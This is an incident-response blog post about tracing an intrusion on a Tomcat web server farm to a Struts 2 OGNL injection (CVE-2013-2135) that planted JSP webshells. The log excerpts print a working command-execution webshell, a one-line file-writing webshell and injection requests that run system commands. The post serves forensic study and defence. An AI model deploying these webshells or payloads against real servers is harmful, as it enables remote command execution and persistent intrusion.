Hopefully the previous blog post already highlighted that at any given moment in time machines around the world try to exploit numerous vulnerabilities. Different obfuscation tricks or stealth techniques are used to delivered payloads and provide crooks with initial foothold by installing webshells. Unfortunately, what makes life of defenders more difficult is that the same principle mentioned in previous post might be used in a subtler and targeted way by motivated attackers aiming to perform cyberespionage.

Second act - you’re a really lucky man!

Analysis of the following case could quite easily lead to various discussions about basic security controls, risks or responsibilities of involved parties. Most of you probably have experienced different recipes for disaster made of more or less obvious vulnerabilities, system misconfiguration and problems existing between keyboards and chairs. Let’s put this discussion aside and focus on the facts and the main topic of the day - webshells used during targeted attack!

During most of the engagements one of the most crucial part of the investigation is to find an entry point of potential intruders. That was exactly the case when alerted by the OPS team recovering from a massive incident that affected a farm of web servers I realized that the whole farm was infected with a combination of custom made backdoors, rootkits and password dumping tools (NOTE: not discussed in this post!).

Timeline analysis of artifacts left by malware and lateral movement activity from multiple machines identified the suspected server where the first malware sample was installed. The only question was how the hell someone planted malicious files on an internal web server farm in the first place? A good place to start was the fact that malware was executed under the context of application server service account. Bad news was it had administrative privileges.

Where do we start?

I never worked for any law enforcement agency nor I knew someone at that time who could shed some light on best tips how to ask question to collect all the necessary information. Maybe a proper course of interrogation techniques would do the trick. Nevertheless, to perform successful investigation you need to get a lot of information (context) from different entities to build a bigger picture and better understanding of the systems, infrastructure, business processes etc. Analysis of the available data should confirm most of the information provided. But where do you start when you know that a server contains a dozen or more business applications with thousands lines of code accessible by internal users and there is no obvious starting point? You prioritize the application based on the functionality, availability and the exposure.

During the discussions about application functionality one of the OPS guys used the magic words that instantly set the alarms off:

• ‘The applications on this server support intranet users and are available only from internal network.’
• ‘There is no way of accessing those applications from anywhere else than internal network?’
• ‘Not on this server.’
• ‘This server? What about others?’
• ‘Some applications are mounted from central internal storage by both internal and DMZ servers available from the internet’

The moment when spider sense started tingling. Shall we analyze some application logs?

Tomcat application servers when installed as a windows service will log messages from the web applications to stdout.log. As with most of the standard output logs you’ll see a huge stack traces of activity dumped by the application especially a busy production one. However after reviewing endless lines of Java messages this particular one caught my attention:

1
2
3
4
5
6

org.apache.jasper.JasperException: An exception occurred processing JSP page /images/abc.jsp at line 5

2: <%
3: try {
4: String cmd = request.getParameter("cmd");
5: Process child = Runtime.getRuntime().exec(cmd);

Quickly reviewing errors in close proximity allows to identify other interesting files:

1
2
3
4

org.apache.jasper.JasperException: Unable to compile class for JSP:
An error occurred at line: 1 in the jsp file: /images/test/bb.jsp
The left-hand side of an assignment must be a variable
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+"\\images\\test\\".write(request.getParameter("t").getBytes());%>

If the first error message was not convincing enough the latter shows someone trying to write to a file what looks to be a very tiny yet powerful webshell. It’s time to pull the files to see exactly what are we dealing with:

1
2
3
4
5
6
7
8
9

try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();

This simplistic servlet receives a command via cmd parameter, tries to execute it on the system and returns the command output. Making it exactly what you need to maintain control.

‘Riddle me this’ says a good friend of mine every time he’s puzzled with the data and faces problems during the investigation. It was also something I was constantly asking myself but no one at the time was there to answer it. Application logs suggested that someone dropped webshells to the central storage location however it was still not clear how this was achieved. Unfortunately, the retention of the logs did not cover the full timeline of the incident so some of the logs were missing. Fortunately, I knew the name of the application that saved webshells in its directories, which allowed me to focus my attention on specific web application traffic. Shall we analyze some web server logs?

Scrolling through log entries the following entry caught my attention. It looks that application is being forced to execute the system command to view network configuration:

1
2

GET <AppURL>redirectAction:%25{
  (new+java.io.BufferReader(new+java.io.InputStreamReader((new+java.lang.ProcessBuilder(new+java.lang.String[]{‘ipconfig’}.start()).getInputStream())))).readline()}

Searching logs for all instances of redirectAction: reveals additional data e.g.

1
2

ET <AppURL>redirectAction:%25
{(new+java.io.BufferedWriter(new+java.io.FileWriter(new+java.io.File(“1.jsp”)).append(req.getParameter(“e”)).close()}&e=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+"\\images\\test\\")).write(request.getParameter("t").getBytes());%>

This log shows an attempt to write the aforementioned webshell to the shared application folder. A bit of googling and testing reveals this HTTP request attempts to exploit a known Struts 2 vulnerability CVE-2013-2135. The timestamp of this activity backed by timeline analysis of all the artifacts collected from servers in the web server farm reveals we have found our initial point of compromise.

A picture is worth a thousand words so this is how it looks after putting all the pieces together:

Conclusions

Moral of this story is simple. Webshells are part of sophisticated actors arsenal utilized at different stages of the attack, whether it is gaining initial foothold or maintaining persistence. More importantly defenders and incident responders won’t always have all the required data for analysis. Access logs might be already overwritten however every attack leaves more than one artifact across multiple systems. This engagement was saved by the application logs and the fact that bad guys are humans doing what humans are great at - making mistakes.

Mandiant blogged about combination of Struts2 vulnerability and webshell attacks couple of months ago. CrowdStrike shared a story of HURRICANE PANDA and DEEP PANDA using China Chopper webshells. Both are a very good and complementary read and highly recommended to everyone interested in such case studies.